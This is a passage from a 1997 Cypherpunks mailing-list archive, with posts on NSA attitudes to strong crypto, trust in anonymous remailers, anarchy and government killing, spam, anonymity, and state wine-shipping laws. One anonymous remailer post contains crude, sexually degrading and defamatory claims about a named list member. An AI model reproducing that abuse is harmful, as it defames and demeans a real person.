Also, working in the field doesn't preclude doing free stuff that
you find an interest in.


> 	Selling your services does not involve selling out.

Yes.  I will not work for a client on a project that I consider
to be 'bad' (i.e. GAK).   I do wonder sometimes what I will do if/when
all crypto systems are GAKware.



-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 16 May 1997 00:59:20 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: SAFE vote and cutting crypto-deals, report from HouseJudiciary
In-Reply-To: <Pine.GSO.3.95.970514211520.28811E-100000@well.com>
Message-ID: <v0300781cafa0ea98034c@[207.94.249.70]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:15 PM -0700 5/14/97, Declan McCullagh wrote:
>...
>* The word on the streets is compromise. Hyde, chair
>  of House Judiciary, brokered a meeting in his offices
>  yesterday bringing together spooks, law enforcement,
>  Goodlatte, and staffers. He says they're "very close
>  to resolving any difficulties."
>
>  Rep. McCollum chimed in: "It's just a matter of time
>  before we work something out." Rep. Buyer said, and I
>  am not making this up: "We should be good listeners to
>  the NSA." Rep. Berman: "I hope there would be some way
>  to bridge the differences between the administration
>  and Goodlatte."

During a hall discussion at CFP, I heard that people at NSA are changing
their opinions about the use of strong crypto in the general community.
The reason is the threat of InfoWar and the need for strong crypto in
general use to secure the US information infrastructure.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Allard <m1tca00@FRB.GOV>
Date: Thu, 15 May 1997 22:18:24 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970514142758.42227@bywater.songbird.com>
Message-ID: <199705151347.JAA18147@bksmp2.FRB.GOV>
MIME-Version: 1.0
Content-Type: text/plain



Kent wrote:
> >   anarchy n. [Gr. an- without + archos, leader] 1. the absence of government
> >   2. political disorder and violence 3. disorder; confusion
> > 
> > Note the etymology.  Taken to its roots, the word simply means "no leader".
> 
> Note the second definition.

So, in other words, you agree with Tim about your definition of Rawanda as 
an example of anarchy:

Tim wrote:
> Calling this an "anarchy" is comparable to calling the pogrom by the Third
> Reich against Jews, gypsies, cripples, and others an example of anarchy.

The topic at hand was "Do governments kill more than individuals?".
Bringing Rawanda up as a counter-example to government and calling it an
anarchy is kind of dishonest, don't you think?  In the context of THIS
discussion, "anarchy" can only be the first definition, "no government".
Rawanda is not an anarchy in the sense of "no government," it's simply an
anarchy in the sense that the government is in disorder.  One faction of
government is fighting for control of government over another.

We can tally up the deaths in Rawanda to those created by government.

rgds-- TA  (tallard@frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Graham C. Hughes" <graham.hughes@resnet.ucsb.edu>
Date: Fri, 16 May 1997 01:45:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <199705151652.JAA13955@fat.doobie.com>
Message-ID: <199705151732.KAA12426@A-abe.resnet.ucsb.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Content-Type: text/plain

> Oh, this is just charming.  People are still dying, and now you're
> going to sit on the sidelines writing email messages to people about
> what they're discussing on some mailing list. 

Better than being the one to bring it up in the first place.  Really, is 
a crypto list an appropriate place for that sort of tripe, any more than 
it is for this?

> > You can't count up human lives and say ``this entity is more evil than
> > this entity.''  It doesn't work that way.  People are people,
> > regardless, and usually don't deserve that kind of premature
> > termination.
> 
> Your use of the word "usually" betrays your hypocrisy.  If some people 
> "don't deserve that kind of premature termination," it follows that
> some do: presumably those that are more evil than the rest.

I do believe that there are varying degrees of evil, yes.  I do not 
believe they can be differentiated by counting bodies.

I remarked `usually', because of a practical bend; the Rhwandans 
certainly don't deserve their lot, but there are others who well deserve 
premature termination in one form or another; Dahmer comes to mind.  From 
time to time, I thought that things would be better off if I were to 
simply die.

Put another way, the situation in Rhwanda distorts the usual 
life-and-death cycle, by killing indiscriminately people who should live 
much longer.  Dahmer, a man who lived in death, could hardly come to a 
more appropriate end.

As I look back on that paragraph, I do acknoledge it was poorly worded, 
and I apologize for the difficulties.  No one, not even Dahmer deserves 
the hardships Rhwandans (to pick a convenient example) are going through.

> So you're saying that fewer people would die in Rwanda if we discussed
> something else?  What exactly is it that you think the members of the
> Cypherpunks list should do about it (assuming for the sake of argument
> that "we" wanted to do anything)?

I just don't think it's appropriate to center a long flame about.  Does 
it not cause you, too, anguish to see such a situation fought over like a 
dog bone?




- -- 
Graham Hughes  http://A-abe.resnet.ucsb.edu/~graham/  MIME & PGP mail OK.
(define pgp-fingerprint "E9 B7 5F A0 F8 88 9E 1E  7C 62 D9 88 E1 03 29 
5B")
(require 'stddisclaim)


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Roger J. Jones" <cyber@ibpinc.com>
Date: Thu, 15 May 1997 23:47:55 +0800
To: "'cypherpunks@cyberpass.net>
Subject: FW: Anonymous Remailers
Message-ID: <01BC611B.8CD67F10@pc1901.ibpinc.com>
MIME-Version: 1.0
Content-Type: text/plain




At 5:17 AM -0800 5/14/97, Roger J. Jones wrote:
>Why is it that some who are very concerned about their personal privacy
>utilize anonymous remailers that:
>
>1) Log all of their mail messages?

Tim May Responded

With chained, multiply-encrypted messages, logs are ineffective unless all of the links in the chain collude to trace messages. While this is certainly possible, it seems unlikely.
Roger J Jones Responded
Several of you have suggested as Tim has that the chain of remailers is secure.  I suggest that the statement is only true to the extent that one wants to trace back a particular message.  On the other hand, if one wants to find the source of postings to anonymous remailers and has skilled access to the Internet the task is quite simple and does not even require attacking the remailers.  Of course, one could break the chain by having the remailers call each other outside of the Internet, but then of course the phone records would disclose the connection.  Then again, one could hard wire a private connection between two remailers outside of both the Internet and the phone system but even this connection would be disclosed through reasonable traffic analysis.  Of course, the simple fact that even encrypted streams need to include the ultimate destination of the message makes content analysis easier and weakens the encryption.  Then again, all of this is a lot of work.  Social Engineering and pure bribery would more likely be the most efficient and effective solution.

Roger J Jones wrote:

>2) Are in many cases reputed to be run by foreign intelligence services?

Tim May Responded

This allegation was made by some clueless Washington think tank authors.  They provided no evidence, only innuendo, and they were unwilling or unable to provide any further comments when queried by several Cypherpunks.
And given that many or even most of the remailer operators are members of the various related Cypherpunks or Remailers Operators lists, and are known to various of us, the notion that most (or even many) remailers are run by intelligence agencies is absurd.

At 9:48 AM -0800 5/14/97, Roger J. Jones wrote:
I suggest that just because you chose to characterize the sources as "clueless Washington think tank authors" does not (as they say in Star Trek - The Next Generation) "make it so".  The "allegation" that foreign governments actively participate in actions to violate personal privacy ("borrowing" laptops from traveling businesspeople, taping phones, etc.) are all documented in various places.  Of course, they could all the result of a single psyop with excellent results.  But I doubt it.

Tim May Responded
Your first point, using some kind of Star Trek lingo, is beyond comment. I provided a lot more context than your original point provided, and yet you seem to want even more documentation. Go back and read the archives for a discussion of this paper (hint: search on "remailers" ANDed with "SAIC." Pay particular attention to the critique of this paper by such folks as Raph Levien, and others.

Anonymous Responded
Yes, you are missing a lot.  The bit about foreign inteligence agencies is almost certainly a canard created by one Strassman at a conference in Boston 2 years ago, then retracted.  Anyway, if you use chaining, it's irrelevant.
See 
<A HREF="http://www.law.miami.edu/~froomkin/articles/ocean.htm">
http://www.law.miami.edu/~froomkin/articles/ocean.htm
</A> and
<A HREF="http://www.law.miami.edu/~froomkin/articles/arbitr.htm">
http://www.law.miami.edu/~froomkin/articles/arbitr.htm
</A>
for the gory details.

Roger J Jones Responded

Given that several of you have suggested that the "foreign agent" theory is a hoax I suggest that this does not give me much faith either.  What we have is the classic case that it difficult if not impossible to prove the non-existence of anything.  For example, presume that one could identify every real owner of every remailer in the Internet universe.  Have we proved anything?  Not really.  Because in the time it has taken to prove the case, a new remailer could have been created.  Or the remailer that one thinks is secure could be down with a different remailer operating as an IT spoof.  Or, after checking with the owner of the "safe" remailer the owner becomes subject to the normal desires of life (fear, greed, power, etc.) and "turns."  The existence of both type one and type two errors prevents even an exhaustive search from being fully satisfied.

Roger J Jones wrote

>Do they really trust the owner of the remailer? (Unless of course, it is
>their remailer?)  I seem to be missing something.

Roger J Jones wrote further......

So, chaining does not seem to be a secure solution.  It just makes the process more difficult, but not impossible.

The non-existance of "agents" who would operate a remailer for purposes other than protecting security can not be proven.

I still seem to be missing something.........  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Thu, 15 May 1997 23:01:49 +0800
To: "Ross Wright" <rwright@adnetsol.com>
Subject: Re: Spam IS Free Speech
In-Reply-To: <199705142339.QAA23731@adnetsol.adnetsol.com>
Message-ID: <3.0.1.32.19970515104631.009d0660@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


________________________ R i c k   O s b o r n e ________________________
>you see what I am saying about a web page being a yellow 
>pages ad, right?

Oh yes, I agree.  I just don't agree that posting to usenet is asking for
spam.  I post to usenet to get valid responses to my questions (or to
respond myself), not find out what the latest get rich kwik scheme is.

>Please, a few megs between cyber-clients?  No harm no foul.  You get 
>more megs of crap just from this list!  I'd bet real money on that!

Very true.  *However*, imagine this scenario: I post to Usenet regularly
using a work email address.  I am allowed by the company to do this as long
as the post is work-related.  Some spammer snatches my email address and
starts to send me email about some "Hot-n-wet" 900 number.  The filters on
the corporate mail catch this and management thinks that I'm soliciting
these ads.  I get formally reprimanded for it, which goes on my permanent
record.  The spammers have just made a major dent in my career and if it
continues to happen, I could lose my job.  It doesn't matter to Management
that I didn't solicit these emails, they just know that its getting in my
inbox.  What am I supposed to do then?

>One Meg Per One Meg.  Equal and fair.

How big is an arp paket?  This could get interesting the next time someone
sends me an attachment.

Speaking of which, on a related note, am I allowed to spam-bomb MS Exchange
idiots who send RTF attachments with their email.  Now *that* could get
fun.  :)
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"You're a security chief. Shouldn't you be out securing something?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Fri, 16 May 1997 01:33:49 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Anarchy Books
In-Reply-To: <v03007818afa0e157d674@[207.94.249.70]>
Message-ID: <Pine.LNX.3.95.970515110518.2479C-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 15 May 1997, Bill Frantz wrote:

> At 2:22 PM -0700 5/14/97, Tim May wrote:
> >The meaning of anarchy, and how it differs from chaos and random killings,
> >has been discussed many times. David Friedman's "The Machinery of Freedom"
> >is a good book to start with. Bruce Benson's "The Enterprise of Law" also
> >discusses how lawlessness is not at all a necessary part of "no rulers"
> 
> For anarchy in a fictional setting I recommend two books by Ursula K.
> LeGuin.  "The Dispossessed" and "Always Coming Home".
> 
> In a lecture several years ago in San Francisco, she said of the two books
> that in "The Dispossessed" I set out to describe an anarchy.  In "Always
> Coming Home" I just let it happen.
> 
etc...

I would also recommend the classic Heinlein work,
"The Moon is a Harsh Mistress".  As an example of self-organizing
anarchy/panarchy and general libertarian views it has no equal in
fiction.  At this point Heinlein was still at the top of his game.

Very enjoyable and thought provoking read.

Of course, most of you have probably already read it.

I suppose somebody will start talking about Rand here, but I found
her writing a little too strident.

jburnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Thu, 15 May 1997 23:36:52 +0800
To: cypherpunks@algebra.com
Subject: Re: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <97May15.112158edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 14 May 1997, Roger J. Jones wrote:

> Why is it that some who are very concerned about their personal privacy utilize anonymous remailers that:

> 1) Log all of their mail messages? 

Good.  They will mainly waste space on a bunch of encrypted stuff with the
possible exception of the very last entry in the chain (which may only
give the recipient, and a message, which might reveal the author when
decrypted by the recipient's key).  Everything else will point to another
remailer and be readable only by it.  They can log who is using it if they
are first in the chain (so run your own remailer), but all they will know
is who is using it, assuming it is not a nym.

> 2) Are in many cases reputed to be run by foreign intelligence services?

So who says they don't provide a public service :).  Although I would
resent my tax money supporting something that can be done in the private
sector if I lived in such a country.  There should be a move to privatize
them.

> Do they really trust the owner of the remailer? (Unless of course, it is
> their remailer?)  I seem to be missing something. 

I shouldn't have to unless I only use one remailer exclusively.  If I use
random chains, or mixmaster type remailers, I don't HAVE TO TRUST the
remailer.  The worst they could do is not pass on mail (which would show
up in the stats), or selectively not send mail, or log content when they
were last on the chain and if the message was actually plaintext at that
point.

There are a few subtleties, but if you do things right, things are very
secure.  It depends if you are trying for 100% security or merely want to
avoid spam.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Date: Thu, 15 May 1997 10:45:12 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Videocrypt/Videocrypt2 any cryptanalytic results?
In-Reply-To: <199705141828.LAA08796@fat.doobie.com>
Message-ID: <199705150230.LAA13987@ns.barrier-free.co.jp>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 14 May 1997 11:28:27 -0700, nobody@huge.cajones.com said:
 >Has any progress been made in cryptanalysing the algorithms used in the 
 >european Videocrypt and Videocrypt2 standards used to encrypt satellite 
 >broadcasts?

http://www.lysator.liu.se/~zino/crypt/vcrypt.html
http://joule.pcl.ox.ac.uk/~mark/sat/vid.html

 >Particularly, is there any information I can obtain about the protocols, 
 >the data communicated between the decoder and card, and the algorithm itself.

http://www.lysator.liu.se/~zino/crypt/details.txt
  Title: Some technical details about Videocrypt
  By Markus Kuhn -- 1994-08-02

# I have no more info.

///hayashi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Thu, 15 May 1997 23:44:32 +0800
To: The Spectre <spectre@nac.net>
Subject: Re: Anonymity and cowardice
In-Reply-To: <15302945318065@nac.net>
Message-ID: <97May15.113040edt.32258-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 14 May 1997, The Spectre wrote:

> > So you're calling John Jay, James Madison, and Alexander Hamilton
> > cowards
> > (anonymous authors of the Federalist Papers)?  Many others have
> > (also used
> > anonymity to further the cause of liberty.  I doubt your real
> > name is "The Spectre" yet that is the name under which you are posting.
> >  Are you calling yourself a coward?
> The difference in all these cases (save mine) is that the people you listed
> would have been persecuted, if not prosecuted, for their actions.  Now
> people are hiding out of fear and paranoia of something that in most cases
> doesn't exist.  The people you mentioned never had to deal with this level
> of abuse, either.

The authors of the Federalist Papers would neither be prosecuted, nor
persecuted.  Read the history about what happened about the debate over
ratification of the constitution.  Since you are wrong about this bit of
history (i.e. no serious personal consequences to the authors), I would
like to know if you have a better reason.

It is not cowardice for someone to hide their identity to not prejudice a
reader.  People might read "publius" and evaluate their arguments on their
merits, but if they knew the authors were specifically A Hamilton and J
Madison they might be dismissed as already knowing where they stood.

Why do authors like Richard Bachman / Stephen King use pen names?

Why do musicians like John Cougar --- Mellencamp alter their names?

Are they all cowards too?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Fri, 16 May 1997 03:29:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Public Key Break Paper
In-Reply-To: <199705141841.LAA09403@fat.doobie.com>
Message-ID: <199705151919.MAA06224@netcom23.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Truthmonger writes:

>   Anything Phill casts aspersions on has to be worth checking out:
>   http://jya.com/snlhit.htm


Just did.  It's crap. 

This alleged algorithm actually got pretty thoroughly trashed in sci.crypt
when it first came to light a few years back. 

It's a lot worse for large moduli than almost anything else out there, and
the author clearly has little understanding of the problem he is
attacking. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 16 May 1997 00:56:10 +0800
To: cypherpunks@toad.com
Subject: Re: OTP: Yeah, you know me: Vulis
Message-ID: <199705151632.MAA19845@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Demento Vulis 's reheated, refurbished, and regurgitated auto-spam is
completely inappropriate for the mailing lists into which it is auto-spammed
by his inbred evil spam-bots.  Demento couldn't write a single lick of
cryptographic code if his NSA masters and his KGB brothers paid him for
it. But truth be known, he sells his spamming software to Cyberpromo
and their ilk, and gets paid in anal sex performed on him by large testicled
bulls - often without applying vaseline in his cavernous anus.

He has killed many bulls in this manner.

  
           \|/
        /~~~~~~~\
       |  O   O  |
   -ooo-----U-----ooo- Demento Vulis
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 16 May 1997 03:58:52 +0800
To: Thomas Porter <cypherpunks@cyberpass.net
Subject: Re: NSA _likes_ strong crypto?
In-Reply-To: <v0300781cafa0ea98034c@[207.94.249.70]>
Message-ID: <v03007801afa122913b4d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:07 AM -0800 5/15/97, Thomas Porter wrote:
>At 09:32 AM 5/15/97 -0700, Bill Frantz thoughtfully expounded thus:
>
>>
>>During a hall discussion at CFP, I heard that people at NSA are changing
>>their opinions about the use of strong crypto in the general community.
>>The reason is the threat of InfoWar and the need for strong crypto in
>>general use to secure the US information infrastructure.
>
>
>I realize I may catch it for my numerical ignorance here, but a more
>paranoid type might think that any acquiescence on the part of NSA might be
>due to more relative ease of breaking important traffic than they might
>have possessed in the past.

I was at the same CFP aisle discussion Bill Frantz is referring to, or at
least heard the same thing in a similar discussion. Clint Brooks of the NSA
(or one of its cutouts), Stuart Baker, Jim Bidzos, and seveeral of us were
talking about the overall crypto situation. Attacks on U.S. interests had
just been covered by a couple of panels, so "infowar" was in the air.
Brooks admitted that NSA was rethinking its opposition to strong crypto, as
they realized (duh) that weak crypto, e.g., <50 bits today, <60 bits in a
few years, etc., could allow attacks on financial and other institutions.

Left as an exercise is whether subsequent policy actions by NSA and D.C. in
general are consistent with this "Crypto Perestroika" (tm).


>Does any one on the list have any ideas on what the Intel mega-pentium
>parallel  processor (touted for nuclear explosion and weather simulations a
>few months back, and noticeably missing any mention of NSA application)
>does to the time estimates for cracking "strong" crypto keys?  I am being
>purposefully vague in my definitions of strong crypto, but I would present
>as my test cases PGP ascii-armor traffic of 2048 key length or plain files
>encrypted with pgp -c option; ie. typical crypto-criminal/narco-terrorist
>fodder.

Please see the usual discussion in Schneier of work factos for breaking
various key length systems. See also the study by the "Distinguished
Cryptographers Panel" (don't have an URL handy, but a search on Schneier,
Blaze, Rivest should turn it up).

Bottom line: work factor grows exponentially in key length. Processor power
has been growing much more slowly, and even a 1000-processor parallel
computer is good for only about 10 bits. Ditto for the processors
themselves, with Intel's latest Pentium II good for "only" a few bits over
the Pentium, which itself was good for only a few bits over the 486, and so
on.

Left as another exercise: How many bits are needed in a key before
exhaustive search (the attack being assumed...if a "clever" attack exists,
then of course it could almost cerainly be done on an abacus) of the
keyspace needs all the processors in the world running for a thousand
years? How many bits before converting the Earth into nanocomputers is not
enough to search the keyspace in the age of the Earth? And so on. The
answers may surprise you.

And using longer keys is "easy" to do. Breaking longer keys is "hard."
Strong crypto wins out very quickly.

This is why there is no "middle ground" on crypto...it's either strong or
its weak, with nothing in between.

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Allard <m1tca00@FRB.GOV>
Date: Fri, 16 May 1997 02:57:55 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <199705151458.HAA11100@A-abe.resnet.ucsb.edu>
Message-ID: <199705151748.NAA26112@bksmp2.FRB.GOV>
MIME-Version: 1.0
Content-Type: text/plain



> > We can tally up the deaths in Rawanda to those created by government.
>
> Oh, this is just charming.  People are still dying, and now you're going
> to sit on the sidelines making tally marks for your pissing contest.

I didn't start this discussion.  But the question remains... are we better
with or without governments.  If you argue that we need gov't for safety,
it seems valid to ask under which system will have less killing.  It seems
to me that situations like Rawanda are just more examples of how gov'ts can
kill more people and more efficiently than any single mass murderer.

And speaking of the sidelines, what, exactly, are YOU doing about it?

> You can't count up human lives and say ``this entity is more evil than
> this entity.''  It doesn't work that way.  People are people, regardless,
> and usually don't deserve that kind of premature termination.

Why on Earth can't you can't up the lives?  It's pretty easy.  Hitler was
worse than Manson because he killed millions while Manson was only able to
kill, what, less than a dozen?  None of their victims deserved to die.  But
if Hitler hadn't been able to take control of the German gov't, fewer people
would have been killed (unless some other crazy got the gov't).

> As for the running dictionary flame, by all means, piss on.  Perhaps
                                                     ^^^^^^^
> later, when you mature a little, discussion can get back to more
                  ^^^^^^
> meaningful topics.

A classic case of pot & kettle syndrome.

It is, however, difficult to argue that "anarchy" is better than gov't when
someone's definition of "anarchy" is not "no government".

rgds-- TA  (tallard@frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Fri, 16 May 1997 05:42:22 +0800
To: cypherpunks@cyberpass.net
Subject: Reporting threshold for NY money transfers lowered
Message-ID: <5lfvc8$2m0@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


I thought this might be of interest to cypherpunks:

The threshold for reporting New York money transfers was apparently
quietly lowered to $750 last month.  Looks like all it took was one
order signed by one Treasury official -- eek.  Can they lower the
$10k cash threshold just as easily?

*  NYT Sunday April 13, 1997
*  
*  U.S. Seizes $5.6 Million Hidden in a Truck on Way to Mexico
*  By Sam Dillon
*  
*  Mexico City, April 12 - United States officials said today that
*  $5.6 million discovered this week in a truck about to cross into
*  Mexico from El Paso was the largest cash seizure in memory along
*  the southwest border.
*  [snip]
*  
*  ...probably the proceeds of street drug sales...
*  [snip]
*  
*  Officials have seen a big increase in cash seizures lately...
*  [snip]
*  
*  In [another] case the authorities believe the traffickers
*  chose to move the cash south out of New York in bulk by
*  car because of an order signed by Mr. Kelly [Treasury
*  Under Secretary Raymond W. Kelly] which required New York
*  businesses transmitting cash to report all transactions
*  over $750.
*  
*  Although the order was not announced, word spread quickly
*  among traffickers, and a dramatic drop in money wires to
*  Colombia followed, along with a sharp increase in seizures
*  of cash along the eastern seaboard.

Thanks to <guy@panix.com> for forwarding.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 16 May 1997 03:06:26 +0800
To: cypherpunks@toad.com
Subject: [CRYPTO] Blowfish
Message-ID: <199705151850.OAA02276@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Here, Tim C. May descends into total inanity. He should have a cold 
shower and/or a Turkish coffee.

          ___\
         <o   \__o  Tim C. May
          X\     X>
        _/_\____<_\_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thomas Porter <txporter@mindspring.com>
Date: Fri, 16 May 1997 03:23:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: NSA _likes_ strong crypto?
In-Reply-To: <Pine.GSO.3.95.970514211520.28811E-100000@well.com>
Message-ID: <3.0.1.16.19970515150735.5f97d298@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:32 AM 5/15/97 -0700, Bill Frantz thoughtfully expounded thus:

>
>During a hall discussion at CFP, I heard that people at NSA are changing
>their opinions about the use of strong crypto in the general community.
>The reason is the threat of InfoWar and the need for strong crypto in
>general use to secure the US information infrastructure.


I realize I may catch it for my numerical ignorance here, but a more
paranoid type might think that any acquiescence on the part of NSA might be
due to more relative ease of breaking important traffic than they might
have possessed in the past.

Does any one on the list have any ideas on what the Intel mega-pentium
parallel  processor (touted for nuclear explosion and weather simulations a
few months back, and noticeably missing any mention of NSA application)
does to the time estimates for cracking "strong" crypto keys?  I am being
purposefully vague in my definitions of strong crypto, but I would present
as my test cases PGP ascii-armor traffic of 2048 key length or plain files
encrypted with pgp -c option; ie. typical crypto-criminal/narco-terrorist
fodder.

How does this strength of encryption compare to whatever might be used to
"secure the nation's info infrastructure" [Netscape 40 bit!!??] regarding
cracking time?  Clearly less, but how much less on this type of specialized
parallel processor?  To put it another way, any swags on how long it would
take this pentium parallel processor to crack the current DES56 challenge?

Inquiring (and ignorant) minds want to know,

Tom Porter                                       txporter@mindspring.com
------------------------------------------------------------------------
   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Fri, 16 May 1997 04:25:40 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: eternity-lite (was Re: The War is Underway (fwd))
In-Reply-To: <199705151717.SAA01042@server.test.net>
Message-ID: <Pine.LNX.3.94.970515160049.20555N-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 15 May 1997, Adam Back wrote:

> If/when this came about, something like texto (primitive textual stego
> program available on the net somewhere) would probably be sufficient
> to fool the search engine.

http://www.ip-service.com/cgi-bin/stego.pl





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Horton <jehorton@erols.com>
Date: Fri, 16 May 1997 05:06:37 +0800
To: Tom Allard <m1tca00@FRB.GOV>
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <199705151748.NAA26112@bksmp2.FRB.GOV>
Message-ID: <337B749C.3B23@erols.com>
MIME-Version: 1.0
Content-Type: text/plain


Tom Allard wrote:
<deleted>
> I didn't start this discussion.  But the question remains... are we better
> with or without governments.  

IMHO about the only reason we need govts is to act as an arbitrator, or
as a TTP.  

<deleted>
> rgds-- TA  (tallard@frb.gov)
> I don't speak for the Federal Reserve Board, it doesn't speak for me.
> pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D

Regards,
JEH





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Fri, 16 May 1997 05:37:13 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Wine Politics Again!
Message-ID: <3.0.16.19970515171709.66ef8dba@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:53 PM 5/13/97 -0700, Bill Stewart wrote:

>At 09:26 PM 5/9/97 -0800, Tim May wrote:
>>I am shipping a few bottles of California's finest merlot (much nicer than
>>the trendy cabernets) to my sister and her husband in Hollywood, FL.
>
>You're a bit late - merlots have been getting more trendy :-)
>But Chiles hasn't signed the Florida law quite yet, so you're also early.

And he may not. Taxin' Lawton is, if nothing else, a wind-direction
indicator, and this law isn't too popular among the rabble.

>Do they even _grow_ wine in Florida?  

Barely, and it's not as good as Tim's merlot. The orange wine for
tourists is truly horrible.

>You'd think it would be the 
>cocaine industry trying to get their product regulated to keep prices high.

[Comment about credulous media reprints of San Jose Merc/CIA denials
of contra cokesmuggling reluctantly suppressed. Tongue bleeding.]

>>There's something wrong when I'm a felon under an increasing number of laws.
>
>It's especially ridiculous that shipping wine should be a *felony*.
>Mike Froomkin points out that the Constitutional Amendment ending
>Prohibition lets states make their own stupid decisions like this,
>and it probably overrides Commerce Clause controls.

Yeah, and for stupidity, Tallahassee is hard to beat.

>You'd expect that a law that's made primarily to protect business
>interests would have business-oriented penalties - like fines for
>conducting wine-shipping without a wine-shipping license,
>or triple fines for not filling out paperwork in triplicate.

I've met some of these guys -- hell I've run against one of them.
We aren't talking Einstein-level here, or even Forest Gump.

>Does anyone know if either state's laws also penalize the 
>recipient of the Demon Grape, or only the sender?  
...

I don't know, but I'm willing to risk getting some Merlot and
finding out as a public service to the cypherpunks list. Y'all
could even try to mail me a bottle anonymously. ;-)
JMR


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEPAwUBM3t9LzUhsGSn1j2pAQHavAfONFdPqiU76q17liQMYGA+AwEcwnZaipBu
AvRqxq7FpeLLM1lR2POCJRBo2rRIXjajwmKacaBG7x08dqsMHug1hul4v2Kge7QV
MtSzwTOokPqwP73O2SU2udB+6d3b5S9rgVjbIDps60iKxVSyEfzVM6B33t6gFBNB
CXYNQoIEx4bOI2puNM6aFX+zsUvDjoSZ5EbWbjRE6tabMKIMPZgVH+QQ4i+En+8I
ug9OaUeFiptHWUzqciqDm70fhhJxsGqH83aj1EDAFj1WCgdo9mBKJjDo2F8fsLCr
